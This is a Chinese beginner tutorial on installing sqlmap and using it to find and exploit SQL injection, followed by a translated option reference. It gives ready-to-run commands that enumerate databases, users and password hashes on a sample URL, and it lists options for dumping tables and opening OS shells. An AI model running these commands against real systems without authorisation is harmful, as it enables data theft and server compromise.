1. 程式人生 > >sqlmap查詢SQL注入漏洞入門

sqlmap查詢SQL注入漏洞入門

sqlmap查詢SQL注入漏洞入門
1、安裝sqlmap

sqlmap是一款非常強大的開源sql自動化注入工具,可以用來檢測和利用sql注入漏洞。注意:sqlmap只是用來檢測和利用sql注入點的,使用前請先使用掃描工具掃出sql注入點。

它由python語言開發而成,因此執行需要安裝python環境。它依賴於python 2.x ,請不要安裝python 3.x

1.1 安裝pyhon

在Windows上安裝Python

首先,從Python的官方網站www.python.org下載最新的2.x版本,地址是這個:

https://www.python.org/downloads/

然後,執行下載的MSI安裝包,在選擇安裝元件的一步時,勾上所有的元件:

特別要注意選上pip和Add python.exe to Path,然後一路點“Next”即可完成安裝。

預設會安裝到C:\Python27目錄下

1.2 安裝sqlmap

請在http://sqlmap.org/ 中下載sqlmap

將下載檔案解壓,然後將目錄更改為SQLMap,將SQLMap複製到Python的安裝目錄C:\Python27,在cmd視窗中輸入sqlmap.py -h,能看到幫助命令就表示安裝成功了

我們將下載檔案解壓,然後將目錄更改為SQLMap,將SQLMap複製到Python的安裝目錄C:\Python27,

在cmd視窗中輸入sqlmap.py -h,能看到幫助命令就表示安裝成功了

2、檢測注入
GET注入
sqlmap -u “http://www.vuln.cn/post.php?id=1″ 預設使用level1檢測全部資料庫型別

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 指定資料庫型別為mysql,級別為3(共5級,級別越高,檢測越全面)

-u:指定注入點url

post中注入
可以使用Fiddler工具來抓取post包,把請求儲存在txt檔案裡

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username引數

-r REQUESTFILE 從一個檔案中載入HTTP請求。
-p TESTPARAMETER 可注入的引數

3、暴庫
3.1 曝出所有資料庫名稱,命令如下:

C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” --dbs

引數:
–dbs:dbs前面有兩條槓

3.2 當前使用的資料庫
C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” --current-db

3.3 資料庫使用賬戶
C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” --current-user

3.4 列出sqlserver所有使用者

C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” --users

3.5 資料庫賬戶與密碼
C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” --passwords

3.6、列出資料庫中的表

C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” -D tourdata --tables

3.7 列出表中欄位

C:\Python27\sqlmap>python sqlmap.py -u “http://www.vuln.cn/post.php?id=1” -D tourdata -T userb --columns

sqlmap詳細命令:
–is-dba 當前使用者許可權(是否為root許可權)
–dbs 所有資料庫
–current-db 網站當前資料庫
–users 所有資料庫使用者
–current-user 當前資料庫使用者
–random-agent 構造隨機user-agent
–passwords 資料庫密碼
–proxy http://local:8080 –threads 10 (可以自定義執行緒加速) 代理
–time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒)
——————————————————————————————————

Options(選項):
–version 顯示程式的版本號並退出
-h, –help 顯示此幫助訊息並退出
-v VERBOSE 詳細級別:0-6(預設為1)
Target(目標):
以下至少需要設定其中一個選項,設定目標URL。

-d DIRECT 直接連線到資料庫。
-u URL, –url=URL 目標URL。
-l LIST 從Burp或WebScarab代理的日誌中解析目標。
-r REQUESTFILE 從一個檔案中載入HTTP請求。
-g GOOGLEDORK 處理Google dork的結果作為目標URL。
-c CONFIGFILE 從INI配置檔案中載入選項。
Request(請求):
這些選項可以用來指定如何連線到目標URL。

–data=DATA 通過POST傳送的資料字串
–cookie=COOKIE HTTP Cookie頭
–cookie-urlencode URL 編碼生成的cookie注入
–drop-set-cookie 忽略響應的Set – Cookie頭資訊
–user-agent=AGENT 指定 HTTP User – Agent頭
–random-agent 使用隨機選定的HTTP User – Agent頭
–referer=REFERER 指定 HTTP Referer頭
–headers=HEADERS 換行分開,加入其他的HTTP頭
–auth-type=ATYPE HTTP身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份驗證憑據(使用者名稱:密碼)
–auth-cert=ACERT HTTP認證證書(key_file,cert_file)
–proxy=PROXY 使用HTTP代理連線到目標URL
–proxy-cred=PCRED HTTP代理身份驗證憑據(使用者名稱:密碼)
–ignore-proxy 忽略系統預設的HTTP代理
–delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒
–timeout=TIMEOUT 等待連線超時的時間(預設為30秒)
–retries=RETRIES 連線超時後重新連線的時間(預設3)
–scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表示式
–safe-url=SAFURL 在測試過程中經常訪問的url地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Enumeration(列舉):
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。此外,您還可以執行
您自己的SQL語句。

-b, –banner 檢索資料庫管理系統的標識
–current-user 檢索資料庫管理系統當前使用者
–current-db 檢索資料庫管理系統當前資料庫
–is-dba 檢測DBMS當前使用者是否DBA
–users 列舉資料庫管理系統使用者
–passwords 列舉資料庫管理系統使用者密碼雜湊
–privileges 列舉資料庫管理系統使用者的許可權
–roles 列舉資料庫管理系統使用者的角色
–dbs 列舉資料庫管理系統資料庫
-D DBname 要進行列舉的指定資料庫名
-T TBLname 要進行列舉的指定資料庫表(如:-T tablename –columns)
–tables 列舉的DBMS資料庫中的表
–columns 列舉DBMS資料庫表列
–dump 轉儲資料庫管理系統的資料庫中的表項
–dump-all 轉儲所有的DBMS資料庫表中的條目
–search 搜尋列(S),表(S)和/或資料庫名稱(S)
-C COL 要進行列舉的資料庫列
-U USER 用來進行列舉的資料庫使用者
–exclude-sysdbs 列舉表時排除系統資料庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最後查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字元檢索
–last=LASTCHAR 最後查詢的輸出字字元檢索
–sql-query=QUERY 要執行的SQL語句
–sql-shell 提示互動式SQL的shell
Optimization(優化):
這些選項可用於優化SqlMap的效能。

-o 開啟所有優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的HTTP(S)連線
–null-connection 從沒有實際的HTTP響應體中檢索頁面長度
–threads=THREADS 最大的HTTP(S)請求併發量(預設為1)
Injection(注入):
這些選項可以用來指定測試哪些引數, 提供自定義的注入payloads和可選篡改指令碼。

-p TESTPARAMETER 可測試的引數(S)
–dbms=DBMS 強制後端的DBMS為此值
–os=OS 強制後端的DBMS作業系統為這個值
–prefix=PREFIX 注入payload字串字首
–suffix=SUFFIX 注入payload字串字尾
–tamper=TAMPER 使用給定的指令碼(S)篡改注入資料
Detection(檢測):
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。

–level=LEVEL 執行測試的等級(1-5,預設為1)
–risk=RISK 執行測試的風險(0-3,預設為1)
–string=STRING 查詢時有效時在頁面匹配字串
–regexp=REGEXP 查詢時有效時在頁面匹配正則表示式
–text-only 僅基於在文字內容比較網頁
Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。

–technique=TECH SQL注入技術測試(預設BEUST)
–time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒)
–union-cols=UCOLS 定列範圍用於測試UNION查詢注入
–union-char=UCHAR 用於暴力猜解列數的字元
Fingerprint(指紋):
-f, –fingerprint 執行檢查廣泛的DBMS版本指紋
Brute force(蠻力):
這些選項可以被用來執行蠻力檢查。

–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(使用者自定義函式注入):
這些選項可以用來建立使用者自定義函式。

–udf-inject 注入使用者自定義函式
–shared-lib=SHLIB 共享庫的本地路徑

File system access(訪問檔案系統):
這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。

–file-read=RFILE 從後端的資料庫管理系統檔案系統讀取檔案
–file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
–file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access(作業系統訪問):
這些選項可以用於訪問後端資料庫管理系統的底層作業系統。

–os-cmd=OSCMD 執行作業系統命令
–os-shell 互動式的作業系統的shell
–os-pwn 獲取一個OOB shell,meterpreter或VNC
–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
–os-bof 儲存過程緩衝區溢位利用
–priv-esc 資料庫程序使用者許可權提升
–msf-path=MSFPATH Metasploit Framework本地的安裝路徑
–tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑
Windows登錄檔訪問:
這些選項可以被用來訪問後端資料庫管理系統Windows登錄檔。

–reg-read 讀一個Windows登錄檔項值
–reg-add 寫一個Windows登錄檔項值資料
–reg-del 刪除Windows登錄檔鍵值
–reg-key=REGKEY Windows登錄檔鍵
–reg-value=REGVAL Windows登錄檔項值
–reg-data=REGDATA Windows登錄檔鍵值資料
–reg-type=REGTYPE Windows登錄檔項值型別
這些選項可以用來設定一些一般的工作引數。

-t TRAFFICFILE 記錄所有HTTP流量到一個文字檔案中
-s SESSIONFILE 儲存和恢復檢索會話檔案的所有資料
–flush-session 重新整理當前目標的會話檔案
–fresh-queries 忽略在會話檔案中儲存的查詢結果
–eta 顯示每個輸出的預計到達時間
–update 更新SqlMap
–save file儲存選項到INI配置檔案
–batch 從不詢問使用者輸入,使用所有預設配置。
Miscellaneous(雜項):
–beep 發現SQL注入時提醒
–check-payload IDS對注入payloads的檢測測試
–cleanup SqlMap具體的UDF和表清理DBMS
–forms 對目標URL的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果
–page-rank Google dork結果顯示網頁排名(PR)
–parse-errors 從響應頁面解析資料庫管理系統的錯誤訊息
–replicate 複製轉儲的資料到一個sqlite3資料庫
–tor 使用預設的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級使用者的簡單向導介面